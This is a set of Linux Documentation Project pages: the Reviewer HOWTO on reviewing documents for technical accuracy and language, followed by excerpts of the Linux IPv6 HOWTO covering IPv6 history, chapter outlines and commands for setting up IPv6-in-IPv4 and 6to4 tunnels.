This project will focus on reviewing documentation that already exists on the LDP. Our goal is to implement a quality management program that makes sure we are supplying up-to-date, accurate, easily read documentation. This process will be ongoing throughout the life of the LDP. Initially, we will try to review all documents currently on the LDP. Once we have made our way through existing documents, we will schedule dates for follow-up reviews. By continually reviewing the documents throughout their life on the LDP, we help make sure that readers have the best experience with Linux documentation.

In addition to the primary goal of improving the quality of the documentation itself, we will also be gathering data about the collection for storage in some sort of database to facilitate the ongoing management of the collection. However, this stage of the review is still being defined; details about the specifics and how this data will be measured will be added in the future.

Below are some general guidelines that you should follow before you begin reviewing existing documentation for the LDP. Please try to have document reviews completed within two weeks of the time you sign up to review a document.

3.1. Choosing a Document

Because this process is just getting started, there are many documents that need review. The most important thing is that you coordinate your work with the other reviewers. To coordinate the effort, we have set up a mailing list for reviewers.

Notify the ldp-review list, which is currently housed at http://www.lupercalia.net/mailman/listinfo/ldp-review, before you begin to review a document. We want to make sure your work is directed where it is most needed and where it will be most useful. Of course, you may have a particular area of expertise and that will dictate your choice to some extent. You can ask on the list for an assignment, or you can select one for yourself and just let us know what you're doing.

3.2. License Issues

Make sure you have the legal right to work on the document. If it is licensed under a free license that specifically grants such rights, you are fine. If not, you need to contact the author and get permission.

If you do not plan to actually change any of the content, but simply report on the document's status, then you don't need permission, regardless of license. Of course, it is still polite, and advisable, to write the author anyway.

3.3. Working With the Latest Version

Make sure the copy you are reviewing is the most current.

If your document includes a URL to an official homepage, visit that page and see if it displays the same version number. If you find the same version number, you are fine. If you find a newer version number, write to the author and ask him or her to please submit the newer version to you.

3.4. Picking a Review to Conduct

There are many different ways a document can be reviewed, and you may have the skills to do only one or two types of reviews. It is sometimes useful (and easier) to do each review as a separate pass through the document; Your Mileage May Vary.

The following sections explain the various types of reviews we are conducting. Use these sections as a guide to help you choose the type of review to conduct and to help you conduct the review itself. Again, when you post your review choice to the review list, please specify the type of review you would like to be responsible for.

Prev | Home | Next
Reviewing Newly Submitted Documentation |  | Technical Accuracy Review


Linux Documentation Project Reviewer HOWTO

David Merrill

david@lupercalia.net

Joy Yokley

jyokley@us.ibm.com

2001-05-12

Revision History
Revision 1.0.1 | 2001-05-12 | Revised by: DCM
Minor bugfixes.
Revision 1.0 | 2001-05-01 | Revised by: jy
Initial release.

This document will help you review LDP documentation. It includes procedures, tips and techniques to make the process easier.

Table of Contents
1. Introduction
1.1. Copyright and License
2. Reviewing Newly Submitted Documentation
3. Reviewing Existing Documentation
3.1. Choosing a Document
3.2. License Issues
3.3. Working With the Latest Version
3.4. Picking a Review to Conduct
4. Technical Accuracy Review
5. Language Review
6. Reporting Your Results
Next
Introduction


Introduction

Linux Documentation Project Reviewer HOWTO
Prev Next

1. Introduction

The LDP Review Project is a "working group" of the Linux Documentation Project whose goal is to improve the quality of the LDP's documentation. We are approaching that goal from two different angles: a review of newly submitted documentation, and a review of existing documentation. Both projects are at an early stage right now, so we are very much open to your suggestions for improvement.

We have a mailing list established at http://www.lupercalia.net/mailman/listinfo/ldp-review.

1.1. Copyright and License

This document is copyright 2001 by David C. Merrill, Ph.D., and is released under the terms of the GNU Free Documentation License, which is hereby incorporated by reference. Send feedback to david@lupercalia.net.

Prev | Home | Next
Linux Documentation Project Reviewer HOWTO |  | Reviewing Newly Submitted Documentation


Language Review

Linux Documentation Project Reviewer HOWTO
Prev Next

5. Language Review

Because writers come from all types of backgrounds, there may be problems within the documentation that need to be fixed. Writers may be very knowledgeable in their subject areas but not great writers, or they may be excellent writers but not completely fluent in the language of the document. The language review addresses these types of problems by focusing on language issues that make the document easier for the user to read and understand. Some of the problems that may occur within the document are poor sentence structure, grammar, organization, clarity, and spelling.

If you are doing a language review, you should be fluent in the language and the structure of the language. You want to consider both the logic and grammar of the document. Your primary goal in a language review is to identify and correct areas that could lead to confusion for the reader/user of the document. To this end, you can most certainly use language and grammar references such as dictionaries and handbooks when in doubt.

Although this review does address the structure and delivery of the language, you should not attempt to purge the document of individuality and personality in an attempt to make it "sound better" or more technical. Stilted, humorless language and structures are not the goals here. Again, your goal should be to make the document clear, unambiguous, and correct in spelling and grammar.

Items to evaluate:

  • Spelling. Spelling should conform to a standardized English spelling of terms. For words that are new to the language and not yet standardized (e.g. technical Linux terminology that is generally accepted in the community), follow the most common spelling for the term.

    Note Note

    Because there are two generally accepted forms of English, this review should not privilege American English spellings over British English spellings, or vice-versa. For example, if the author is writes British English and uses the word "realise", you should not change the spelling of the word to "realize" just because you speak/write American English.

  • Grammar. For the purposes of this review, grammar should address issues such as standards of subject/verb agreement, pronoun/antecedent agreement, etc. One of the common and confusing mistakes made in HOWTOs is unclear pronoun antecedents.

    For example, to say, "You will need to set several parameters in the config file to make it compile correctly. The ones you choose to set make a big difference." In this example it sounds like the config file is what is compiling and it takes a re-reading of the phrase for it to be clear that "The ones" refers to the parameters.

    Along these same lines, many authors writing for the LDP use smiley faces and exclamation points where they would never be accepted in formal documentation or grammar handbooks. The general rule to follow at this time is to leave the smiley faces and gratuitous punctuation marks in place unless they interfere with the reader's understanding of the concepts being explained. The rationale behind this is to protect the more conversational tone of the LDP documentation.

  • Capitalization. The word "HOWTO" should always be in full caps with no hyphen. Also, the document title should always be in title case. This means that first words in a title are always capitalized. The only words not capitalized in a title are prepositions, articles, and proper nouns which would not be capitalized otherwise (e.g. insmod). Other capitalization should follow rules of standard English.

  • Clarity. Judgements on clarity are sometimes difficult to make. One successful strategey in evaluating clarity is asking the question "If I did not already know this information, would the explanation be clear from this document." If it is confusing to you and you already generally understand what the author is trying to say, then there is a good chance that the explanation is really confusing for someone reading the document for the first time. If you run across this situation, and you don't really know how to correct the technical explanation, or you are afraid your changes might affect the meaning of the document, ask for help from a technical expert. If no technical expert is available or no one responds to your requests, note the needed changes in the review and mark that these concerns need to be addressed in the technical review.

  • Organization. In some cases the document would really benefit from a different structure. You should address these issues when they interfere with the understanding of the information within the document. If a document gives background information after a procedure has been performed, this may well be too late for the reader to fully consider the information he or she needs before performing the task. Look for document organization that might confuse or mislead the reader. These will be the types of issues you want to address. Once these are identified, it may be worthwhile to let the author know your rationale and discuss major changes with him or her.

  • Sentence Structure. To some extent, sentence structure issues are discussed in the grammar section; however, there are some additional issues that are not grammatically incorrect but do interfere with the readers comprehension of the material. One of the most noticable of these is stacked prepositional phrases. Stacked prepositional phrases become a problem when the document's readability suffers because it becomes less and less clear what the subject and action of the sentence are. In some cases more precise descriptors are needed or sentences need to be changed from one long sentence that is hard to comprehend, to two or three more easily read sentences.

  • Readability. This area is somewhat subjective. What passes for fairly readable material to one person might be confusing to someone else. Because this is a value judgement you should be cautious when marking up an author's work for readability. Realize when basing a judgement on readability that you might be dealing with preferences of style. At this point in time within the LDP, there is no set style or stylistic rules that authors need to follow. In evaluating readability you must consider whether or not the way the document is written truly interferes with the readers understanding of the information. If the answer you come up with is "No, but it doesn't sound like I think it should." then you should probably not re-write the text to make it sound better to you.

  • Versioning. Every document should have a version number, preferably in the form Major.Minor.Bugfix, where each section is an integer. Some authors use Alan Cox style versions (e.g., 1.4pre-3) and some include additional information (e.g., 1.3beta). This is acceptable but not encouraged. The most important thing is that we have a version number so we know which version we are dealing with! Once a document goes through review it should advance in minor or bugfix version number, depending on the amount of change introduced.

  • Title. The title should be in proper title case. The general principle for this is that all words are capitalized in a title except prepositions and articles (an article will be capitalized if it is the first word in the title). The word HOWTO should be in all capital letters. There should be no hyphens within the word HOWTO (with the exception of the Mini-HOWTO). The version should not be included in the title.

  • Date Formats. Dates should be in standard ISO format, which is YYYY-MM-DD.

  • Uniform Use of Terms. Because the HOWTO you are reviewing is probably filled with new information for the reader, it is important that the terms discussed throughout the document be uniform. For example, referring to a part or parameter in one section of the document by one name and then calling it by another name (or an abbreviation that has not be explained) in another part of the document is confusing for the reader. Making sure that terms are the same throughout the document goes a long way in helping the reader understand the documentation.

  • Definitions of Acronyms or Slang. Terminology and language within the realm of computer technology changes rapidly. In reviewing documents you may find that many of the terms that are being discussed are not valid words in any dictionary or technical reference that you are familiar with. In this case you will need to search on terms and find if they are, in fact, terminology that is accepted in the general Linux community. Terms that are less familiar should be defined immediately following the first instance of the term. Slang should be replaced with more common terminology if the slang will causes the reader to be confused by the connotation or denotation of the term. Remember that readers using the document may not come to English as a primary language and, therefore, you should do your best to make sure that the document is as easy to understand as possible.

Prev | Home | Next
Technical Accuracy Review |  | Reporting Your Results


Reviewing Newly Submitted Documentation

Linux Documentation Project Reviewer HOWTO
Prev Next

2. Reviewing Newly Submitted Documentation

This review project will continue throughout the life of the LDP. The process will act as a front-end quality assurance review for new documentation which is submitted to the LDP. Ideally documents will be reviewed within one week of their submission to the LDP.

Coordinators of this effort will announce to the list or notify individual review members of new document submissions. The coordinators will try to funnel documents to reviewers who have knowledge in the same technical area as the documentation. If the reviewer is not a technical expert in that particular area and needs technical questions answered, there will be a technical expert designated who will be able to address any technical issues or questions.

Once reviewers have agreed to work on a document, they will have one week to complete the review. If they are not able to complete the review within that time frame, they will need to let the coordinator know of their difficulties so that the author can be notified of the problem. Because these reviews need to be conducted rather quickly, there will be times when reviewers will be more able to accept review work.

When reviewing newly submitted documents, refer to the Section 4 and Section 5 portions of this guide for the types of information to verify and correct. As a reviewer, you will need to check the documents out of the CVS and make any necessary changes. If changes are extensive or if the document has glaringly and fundamentally fatal errors, contact a coordinator to let him or her know what the problems are. Once changes are made, the reviewer will update the minor version number, submit the changes to the CVS, and send the original author a copy of the source.

Prev | Home | Next
Introduction |  | Reviewing Existing Documentation


Reporting Your Results

Linux Documentation Project Reviewer HOWTO
Prev

6. Reporting Your Results

Once you have completed your review of a document, you should send your results back to the working group. The coordinator will record your work in the database. The coordinator will not need the updated source, but he or she will need any metrics you have collected and your notes. He or she will also need to know which types of review you have completed.

If you have made any modifications to the document, also send your updates to the author or maintainer, as well as the LDP Submission List, which is at submit@linuxdoc.org.

Prev | Home
Language Review |


Technical Accuracy Review

Linux Documentation Project Reviewer HOWTO
Prev Next

4. Technical Accuracy Review

Make sure the facts as stated in the document are correct, helpful, and on topic.

To do a technical accuracy review, you really need to know your subject matter, probably as well or better than the original author. Use whatever other documentation is available for your subject, including man pages, program documentation, other printed books, etc. You might also use mailing lists on the topic, asking for third parties to verify certain facts of which you are in doubt.

When doing this type of review, consider if the information is only valid for certain types of hardware or software. If this is the case, make sure to note the limitations of the document within the document, either within the abstract or as a note at the beginning of the document. For example, if the solutions in the document only are relevant for one type or brand of hardware, make sure that that limitation is defined. This will keep readers from trying to apply a certain type of technology to an application or situation where it will not work.

Prev | Home | Next
Reviewing Existing Documentation |  | Language Review


History of IPv6 in Linux

Linux IPv6 HOWTO
Prev Chapter 2. Basics Next

2.2. History of IPv6 in Linux

To-do: better time-line, more content...

2.2.1. Beginning

The first IPv6 related network code was added to the Linux kernel 2.1.8 in November 1996 by Pedro Roque. It was based on the BSD API:

diff -u --recursive --new-file v2.1.7/linux/include/linux/in6.h
¬ linux/include/linux/in6.h
--- v2.1.7/linux/include/linux/in6.h Thu Jan 1 02:00:00 1970
+++ linux/include/linux/in6.h Sun Nov 3 11:04:42 1996
@@ -0,0 +1,99 @@
+/*
+ * Types and definitions for AF_INET6
+ * Linux INET6 implementation
+ * + * Authors:
+ * Pedro Roque <******>
+ *
+ * Source:
+ * IPv6 Program Interfaces for BSD Systems
+ * <draft-ietf-ipngwg-bsd-api-05.txt>

The shown lines were copied from patch-2.1.8 (e-mail address was blanked on copy&paste).

2.2.2. In between

Because of lack of manpower, the IPv6 implementation in the kernel was unable to follow the discussed drafts or newly released RFCs. In October 2000, a project was started in Japan, called USAGI, whose aim was to implement all missing, or outdated IPv6 support in Linux. It tracks the current IPv6 implementation in FreeBSD made by the KAME project. From time to time they create snapshots against current vanilla Linux kernel sources.

2.2.3. Current

Unfortunately, the USAGI patch is so big, that current Linux networking maintainers are unable to include it in the production source of the Linux kernel 2.4.x series. Therefore the 2.4.x series is missing some (many) extensions and also does not confirm to all current drafts and RFCs. This can cause some interoperability problems with other operating systems.

2.2.4. Future

USAGI is now making use of the new Linux kernel development series 2.5.x to insert all of their current extensions into this development release. Hopefully the 2.6.x kernel series will contain a true and up-to-date IPv6 implementation.

Prev | Home | Next
What is IPv6? | Up | How do IPv6 addresses look like?


Network debugging

Linux IPv6 HOWTO
Prev Next

Chapter 11. Network debugging

Table of Contents
11.1. Server socket binding
11.2. Examples for tcpdump packet dumps
11.2.1. Router discovery
11.2.2. Neighbor discovery
Prev | Home | Next
Netlink |  | Server socket binding


Programming (using API)

Linux IPv6 HOWTO
Prev Next

Chapter 18. Programming (using API)

I have no experience in IPv6 programming, perhaps this chapter will be filled by others or moved away to another HOWTO.

Prev | Home | Next
tcp_wrapper |  | Interoperability


Interoperability

Linux IPv6 HOWTO
Prev Next

Chapter 19. Interoperability

There are some projects around the world which checks the interoperability of different operating systems regarding the implementation of IPv6 features. Here some URLs:

  • TAHI Project

More coming next...

Prev | Home | Next
Programming (using API) |  | Further information and URLs


Revision history / Credits / The End

Linux IPv6 HOWTO
Prev Next

Chapter 21. Revision history / Credits / The End

Table of Contents
21.1. Revision history
21.2. Credits
21.2.1. Major credits
21.2.2. Other credits
21.3. The End
Prev | Home | Next
Maillists |  | Revision history


Address types

Linux IPv6 HOWTO
Prev Next

Chapter 3. Address types

Table of Contents
3.1. Addresses without a special prefix
3.1.1. Localhost address
3.1.2. Unspecified address
3.1.3. IPv6 address with embedded IPv4 address
3.2. Network part, also known as prefix
3.2.1. Link local address type
3.2.2. Site local address type
3.2.3. Global address type "Aggregatable global unicast"
3.2.4. Multicast addresses
3.2.5. Anycast addresses
3.3. Address types (host part)
3.3.1. Automatically computed (also known as stateless)
3.3.2. Manually set
3.4. Prefix lengths for routing
3.4.1. Prefix lengths (also known as "netmasks")
3.4.2. Matching a route

Like IPv4, IPv6 addresses can be split into network and host parts using subnet masks.

IPv4 has shown that sometimes it would be nice, if more than one IP address can be assigned to an interface, each for a different purpose (aliases, multi-cast). To remain extensible in the future, IPv6 is going further and allows more than one IPv6 address to be assigned to an interface. There is currently no limit defined by an RFC, only in the implementation of the IPv6 stack (to prevent DoS attacks).

Using this large number of bits for addresses, IPv6 defines address types based on some leading bits, which are hopefully never going to be broken in the future (unlike IPv4 today and the history of class A, B, and C).

Also the number of bits are separated into a network part (upper 64 bits) and a host part (lower 64 bits), to facilitate auto-configuration .

Prev | Home | Next
FAQ (Basics) |  | Addresses without a special prefix


Auto-configuration and mobility

Linux IPv6 HOWTO
Prev Next

Chapter 13. Auto-configuration and mobility

Table of Contents
13.1. Stateless auto-configuration
13.2. Stateful auto-configuration using Router Advertisement Daemon (radvd)
13.3. Dynamic Host Configuration Protocol v6 (DHCPv6)
13.4. Mobility
Prev | Home | Next
Debian Linux |  | Stateless auto-configuration


Basics

Linux IPv6 HOWTO
Prev Next

Chapter 2. Basics

Table of Contents
2.1. What is IPv6?
2.2. History of IPv6 in Linux
2.2.1. Beginning
2.2.2. In between
2.2.3. Current
2.2.4. Future
2.3. How do IPv6 addresses look like?
2.4. FAQ (Basics)
2.4.1. Why is the name IPv6 and not IPv5 as successor for IPv4?
2.4.2. IPv6 addresses: why such a high number of bits?
2.4.3. IPv6 addresses: why so small a number of bits on a new design?
Prev | Home | Next
Requirements for using this HOWTO |  | What is IPv6?


Configuring IPv6 addresses

Linux IPv6 HOWTO
Prev Next

Chapter 6. Configuring IPv6 addresses

Table of Contents
6.1. Displaying existing IPv6 addresses
6.1.1. Using "ip"
6.1.2. Using "ifconfig"
6.2. Add an IPv6 address
6.2.1. Using "ip"
6.2.2. Using "ifconfig"
6.3. Removing an IPv6 address
6.3.1. Using "ip"
6.3.2. Using "ifconfig"

There are different ways to configure an IPv6 address on an interface. You can use use "ifconfig" or "ip".

Prev | Home | Next
Bringing interfaces up/down |  | Displaying existing IPv6 addresses


Configuring interfaces

Linux IPv6 HOWTO
Prev Next

Chapter 5. Configuring interfaces

Table of Contents
5.1. Different network devices
5.1.1. Physically bounded
5.1.2. Virtually bounded
5.2. Bringing interfaces up/down
5.2.1. Using "ip"
5.2.2. Using "ifconfig"
Prev | Home | Next
FAQ (IPv6-ready system check) |  | Different network devices


Configuring normal IPv6 routes

Linux IPv6 HOWTO
Prev Next

Chapter 7. Configuring normal IPv6 routes

Table of Contents
7.1. Displaying existing IPv6 routes
7.1.1. Using "ip"
7.1.2. Using "route"
7.2. Add an IPv6 route through a gateway
7.2.1. Using "ip"
7.2.2. Using "route"
7.3. Removing an IPv6 route through a gateway
7.3.1. Using "ip"
7.3.2. Using "route"
7.4. Add an IPv6 route through an interface
7.4.1. Using "ip"
7.4.2. Using "route"
7.5. Removing an IPv6 route through an interface
7.5.1. Using "ip"
7.5.2. Using "route"
7.6. FAQ for IPv6 routes

If you want to leave your link and want to send packets in the world wide IPv6-Internet, you need routing. If there is already an IPv6 enabled router on your link, it's possible enough to add IPv6 routes.

Also here there are different ways to configure an IPv6 address on an interface. You can use use "ifconfig" or "ip"

Prev | Home | Next
Removing an IPv6 address |  | Displaying existing IPv6 routes


Configuring IPv4-in-IPv6 tunnels

Linux IPv6 HOWTO
Prev Next

Chapter 9. Configuring IPv4-in-IPv6 tunnels

This will be filled in the future. At the moment, such tunnels are more used in test environments.

More information in the meantime: RFC 2473 / Generic Packet Tunneling in IPv6 Specification

Prev | Home | Next
Setup of 6to4 tunnels |  | Kernel settings


Configuring IPv6-in-IPv4 tunnels

Linux IPv6 HOWTO
Prev Next

Chapter 8. Configuring IPv6-in-IPv4 tunnels

Table of Contents
8.1. Types of tunnels
8.1.1. Static point-to-point tunneling: 6bone
8.1.2. Automatically tunneling
8.1.3. 6to4-Tunneling
8.2. Displaying existing tunnels
8.2.1. Using "ip"
8.2.2. Using "route"
8.3. Setup of point-to-point tunnel
8.3.1. Add point-to-point tunnels
8.3.2. Removing point-to-point tunnels
8.3.3. Numbered point-to-point tunnels
8.4. Setup of 6to4 tunnels
8.4.1. Add a 6to4 tunnel
8.4.2. Remove a 6to4 tunnel

If you want to leave your link you have no IPv6 capable network around you, you need IPv6-in-IPv4 tunneling to reach the World Wide IPv6-Internet.

There are some kind of tunnel mechanism and also some possibilities to setup tunnels.

Prev | Home | Next
FAQ for IPv6 routes |  | Types of tunnels


Encryption and Authentication

Linux IPv6 HOWTO
Prev Next

Chapter 15. Encryption and Authentication

Table of Contents
15.1. Support in kernel
15.1.1. Support in vanilla Linux kernel
15.1.2. Support in USAGI kernel
15.2. Usage

Unlike in IPv4 encryption and authentication is a mandatory feature of IPv6. This features are normally implemented using IPsec (which can be also used by IPv4).

But because of the independence of encryption and authentication from the key exchange protocol there exists currently some interoperability problems regarding this issue.

Prev | Home | Next
Security |  | Support in kernel


Firewalling and security issues

Linux IPv6 HOWTO
Prev Next

Chapter 14. Firewalling and security issues

Table of Contents
14.1. Firewalling
14.1.1. Firewalling using netfilter6
14.1.2. Preparation
14.1.3. Usage
14.2. Security
14.2.1. Node security
14.2.2. Access limitations

IPv6 firewalling is important, especially if using IPv6 on internal networks with global IPv6 addresses. Because unlike at IPv4 networks where in common internal hosts are protected automatically using private IPv4 addresses like RFC 1918 / Address Allocation for Private Internets or APIPA / Automatic Private IP Addressing, in IPv6 normally global addresses are used and someone with IPv6 connectivity can reach all internal IPv6 enabled nodes.

Prev | Home | Next
Mobility |  | Firewalling


General

Linux IPv6 HOWTO
Prev Next

Chapter 1. General

Table of Contents
1.1. Copyright, license and others
1.1.1. Copyright
1.1.2. License
1.1.3. About the author
1.2. Category
1.3. Version, History and To-Do
1.3.1. Version
1.3.2. History
1.3.3. To-Do
1.4. Translations
1.4.1. To German
1.4.2. To other languages
1.5. Technical
1.5.1. Original source of this HOWTO
1.5.2. On-line references to the HTML version of this HOWTO (linking/anchors)
1.6. Preface
1.7. Used terms
1.7.1. Network related
1.7.2. Document related
1.8. Requirements for using this HOWTO
1.8.1. Personal prerequisites
1.8.2. Linux operating system compatible hardware
Prev | Home | Next
Linux IPv6 HOWTO |  | Copyright, license and others


Hints for IPv6-enabled daemons

Linux IPv6 HOWTO
Prev Next

Chapter 17. Hints for IPv6-enabled daemons

Table of Contents
17.1. Berkeley Internet Name Daemon BIND (named)
17.1.1. Listening on IPv6 addresses
17.1.2. IPv6 enabled Access Control Lists (ACL)
17.1.3. Sending queries with dedicated IPv6 address
17.1.4. Per zone defined dedicated IPv6 addresses
17.1.5. Serving IPv6 related DNS data
17.1.6. Checking IPv6-enabled connect
17.2. Internet super daemon (xinetd)
17.3. Webserver Apache2 (httpd2)
17.4. Router Advertisement Daemon (radvd)
17.4.1. Configuring radvd
17.4.2. Debugging
17.5. tcp_wrapper
17.5.1. Filtering capabilities
17.5.2. Which program uses tcp_wrapper
17.5.3. Usage
17.5.4. Logging

Here some hints are shown for IPv6-enabled daemons.

Prev | Home | Next
Quality of Service (QoS) |  | Berkeley Internet Name Daemon BIND (named)


Further information and URLs

Linux IPv6 HOWTO
Prev Next

Chapter 20. Further information and URLs

Table of Contents
20.1. Paper printed books, articles, online reviews (mixed)
20.1.1. German language
20.1.2. Articles, Books, Online Reviews (mixed)
20.1.3. Others
20.2. Online information
20.2.1. Join the IPv6 backbone
20.2.2. Latest news
20.2.3. Protocol references
20.2.4. More information
20.2.5. By countries
20.2.6. By operating systems
20.2.7. Application lists
20.2.8. Request For Comments (RFCs)
20.3. Online test tools
20.4. Maillists
Prev | Home | Next
Interoperability |  | Paper printed books, articles, online reviews (mixed)


Kernel settings

Linux IPv6 HOWTO
Prev Next

Chapter 10. Kernel settings

Table of Contents
10.1. /proc filesystem
10.1.1. Entries in /proc/net/
10.1.2. Entries in /proc/sys/net/
10.2. Netlink

To be filled...

Prev | Home | Next
Configuring IPv4-in-IPv6 tunnels |  | /proc filesystem


Quality of Service (QoS)

Linux IPv6 HOWTO
Prev Next

Chapter 16. Quality of Service (QoS)

IPv6 supports QoS with use of Flow Labels and Traffic Classes. This can be controlled using "tc" (contained in package "iproute").

more to be filled...

Prev | Home | Next
Usage |  | Hints for IPv6-enabled daemons


Support for persistent IPv6 configuration in Linux distributions

Linux IPv6 HOWTO
Prev Next

Chapter 12. Support for persistent IPv6 configuration in Linux distributions

Table of Contents
12.1. Red Hat Linux and "clones"
12.1.1. Test for IPv6 support of network configuration scripts
12.1.2. Short hint for enabling IPv6 on current RHL 7.1, 7.2, ...
12.2. SuSE Linux
12.3. Debian Linux

Some Linux distribution contain already support of a persistent IPv6 configuration using existing or new configuration and script files and some hook in the IPv4 script files.

Prev | Home | Next
Examples for tcpdump packet dumps |  | Red Hat Linux and "clones"


IPv6-ready system check

Linux IPv6 HOWTO
Prev Next

Chapter 4. IPv6-ready system check

Table of Contents
4.1. IPv6-ready kernel
4.1.1. Check for IPv6 support in the current running kernel
4.1.2. Try to load IPv6 module
4.1.3. Compile kernel with IPv6 capabilities
4.1.4. IPv6-ready network devices
4.2. IPv6-ready network configuration tools
4.2.1. net-tools package
4.2.2. iproute package
4.3. IPv6-ready test/debug programs
4.3.1. IPv6 ping
4.3.2. IPv6 traceroute6
4.3.3. IPv6 tracepath6
4.3.4. IPv6 tcpdump
4.4. IPv6-ready programs
4.5. IPv6-ready client programs (selection)
4.5.1. Checking DNS for resolving IPv6 addresses
4.5.2. IPv6-ready telnet clients
4.5.3. IPv6-ready ssh clients
4.5.4. IPv6-ready web browsers
4.6. IPv6-ready server programs
4.7. FAQ (IPv6-ready system check)

Before you can start using IPv6 on a Linux host, you have to test, whether your system is IPv6-ready. You may have to do some work to enable it first.

Prev | Home | Next
Prefix lengths for routing |  | IPv6-ready kernel


Setup of point-to-point tunnel

Linux IPv6 HOWTO
Prev Chapter 8. Configuring IPv6-in-IPv4 tunnels Next

8.3. Setup of point-to-point tunnel

There are 3 possibilities to add or remove point-to-point tunnels.

8.3.1. Add point-to-point tunnels

8.3.1.1. Using "ip" and "route"

Common method at the moment for a small amount of tunnels

Usage for creating a tunnel device (but it's not up afterward, also a TTL must be specified because the default value is 0).

# /sbin/ip tunnel add <device> mode sit ttl <ttldefault> remote
¬ <ipv4addressofforeigntunnel> local <ipv4addresslocal>

Usage (generic example for three tunnels):

# /sbin/ip tunnel add sit1 mode sit ttl <ttldefault> remote
¬ <ipv4addressofforeigntunnel1> local <ipv4addresslocal>
# /sbin/ifconfig sit1 up
# /sbin/route -A inet6 add <prefixtoroute1> dev sit1
# /sbin/ip tunnel add sit2 mode sit ttl <ttldefault>
¬ <ipv4addressofforeigntunnel2> local <ipv4addresslocal>
# /sbin/ifconfig sit2 up
# /sbin/route -A inet6 add <prefixtoroute2> dev sit2
# /sbin/ip tunnel add sit3 mode sit ttl <ttldefault>
¬ <ipv4addressofforeigntunnel3> local <ipv4addresslocal>
# /sbin/ifconfig sit3 up
# /sbin/route -A inet6 add <prefixtoroute3> dev sit3

8.3.1.2. Using "ifconfig" and "route" (deprecated)

This not very recommended way to add a tunnel because it's a little bit strange. No problem if adding only one, but if you setup more than one, you cannot easy shutdown the first ones and leave the others running.

Usage (generic example for three tunnels):

# /sbin/ifconfig sit0 up
# /sbin/ifconfig sit0 tunnel <ipv4addressofforeigntunnel1>
# /sbin/ifconfig sit1 up
# /sbin/route -A inet6 add <prefixtoroute1> dev sit1
# /sbin/ifconfig sit0 tunnel <ipv4addressofforeigntunnel2>
# /sbin/ifconfig sit2 up
# /sbin/route -A inet6 add <prefixtoroute2> dev sit2
# /sbin/ifconfig sit0 tunnel <ipv4addressofforeigntunnel3>
# /sbin/ifconfig sit3 up
# /sbin/route -A inet6 add <prefixtoroute3> dev sit3

Important: DON'T USE THIS, because this setup implicit enable "automatic tunneling" from anywhere in the Internet, this is a risk, and it should not be advocated.

8.3.1.3. Using "route" only

It's also possible to setup tunnels in Non Broadcast Multiple Access (NBMA) style, it's a easy way to add many tunnels at once. But none of the tunnel can be numbered (which is a not required feature).

Usage (generic example for three tunnels):

# /sbin/ifconfig sit0 up
# /sbin/route -A inet6 add <prefixtoroute1> gw
¬ ::<ipv4addressofforeigntunnel1> dev sit0
# /sbin/route -A inet6 add <prefixtoroute2> gw
¬ ::<ipv4addressofforeigntunnel2> dev sit0
# /sbin/route -A inet6 add <prefixtoroute3> gw
¬ ::<ipv4addressofforeigntunnel3> dev sit0

Important: DON'T USE THIS, because this setup implicit enable "automatic tunneling" from anywhere in the Internet, this is a risk, and it should not be advocated.

8.3.2. Removing point-to-point tunnels

Manually not so often needed, but used by scripts for clean shutdown or restart of IPv6 configuration.

8.3.2.1. Using "ip" and "route"

Usage for removing a tunnel device:

# /sbin/ip tunnel del <device>

Usage (generic example for three tunnels):

# /sbin/route -A inet6 del <prefixtoroute1> dev sit1
# /sbin/ifconfig sit1 down
# /sbin/ip tunnel del sit1
# /sbin/route -A inet6 del <prefixtoroute2> dev sit2
# /sbin/ifconfig sit2 down
# /sbin/ip tunnel del sit2
# /sbin/route -A inet6 del <prefixtoroute3> dev sit3
# /sbin/ifconfig sit3 down
# /sbin/ip tunnel del sit3

8.3.2.2. Using "ifconfig" and "route" (deprecated because not very funny)

Not only the creation is strange, the shutdown also...you have to remove the tunnels in backorder, means the latest created must be removed first.

Usage (generic example for three tunnels):

# /sbin/route -A inet6 del <prefixtoroute3> dev sit3
# /sbin/ifconfig sit3 down
# /sbin/route -A inet6 del <prefixtoroute2> dev sit2
# /sbin/ifconfig sit2 down
# /sbin/route -A inet6 add <prefixtoroute1> dev sit1
# /sbin/ifconfig sit1 down
# /sbin/ifconfig sit0 down

8.3.2.3. Using "route"

This is like removing normal IPv6 routes

Usage (generic example for three tunnels):

# /sbin/route -A inet6 del <prefixtoroute1> gw
¬ ::<ipv4addressofforeigntunnel1> dev sit0
# /sbin/route -A inet6 del <prefixtoroute2> gw
¬ ::<ipv4addressofforeigntunnel2> dev sit0
# /sbin/route -A inet6 del <prefixtoroute3> gw
¬ ::<ipv4addressofforeigntunnel3> dev sit0
# /sbin/ifconfig sit0 down

8.3.3. Numbered point-to-point tunnels

Sometimes it's needed to configure a point-to-point tunnel with IPv6 addresses like in IPv4 today. This is only possible with the first (ifconfig+route - deprecated) and third (ip+route) tunnel setup. In such cases, you can add the IPv6 address to the tunnel interface like shown on interface configuration.

Prev | Home | Next
Displaying existing tunnels | Up | Setup of 6to4 tunnels


Setup of 6to4 tunnels

Linux IPv6 HOWTO
Prev Chapter 8. Configuring IPv6-in-IPv4 tunnels Next

8.4. Setup of 6to4 tunnels

Pay attention that the support of 6to4 tunnels currently lacks on vanilla kernel series 2.2.x (see systemcheck/kernel for more information). Also note that that the prefix length for a 6to4 address is 16 because of from network point of view, all other 6to4 enabled hosts are on the same layer 2.

8.4.1. Add a 6to4 tunnel

First, you have to calculate your 6to4 prefix using your local assigned global routable IPv4 address (if your host has no global routable IPv4 address, in special cases NAT on border gateways is possible):

Assuming your IPv4 address is

1.2.3.4

the generated 6to4 prefix will be

2002:0102:0304::

Local 6to4 gateways should always assigned the manual suffix "::1", therefore your local 6to4 address will be

2002:0102:0304::1

Use e.g. following for automatic generation:

ipv4="1.2.3.4"; printf "2002:%02x%02x:%02x%02x::1" `echo $ipv4 | tr "." " "`

There are two ways possible to setup 6to4 tunneling now.

8.4.1.1. Using "ip" and a dedicated tunnel device

This is now the recommended way.

Create a new tunnel device

# /sbin/ip tunnel add tun6to4 mode sit remote any local <localipv4address>

Bring interface up

# /sbin/ip link set dev tun6to4 up

Add local 6to4 address to interface

# /sbin/ip -6 addr add <local6to4address>/16 dev tun6to4

Add (default) route to the global IPv6 network using the all-6to4-routers IPv4 anycast address

# /sbin/ip -6 route add 2000::/3 via ::192.88.99.1 dev tun6to4 metric 1

8.4.1.2. Using "ifconfig" and "route" and generic tunnel device "sit0" (deprecated)

This is now deprecated because using the generic tunnel device sit0 doesn't let specify filtering per device.

Bring generic tunnel interface sit0 up

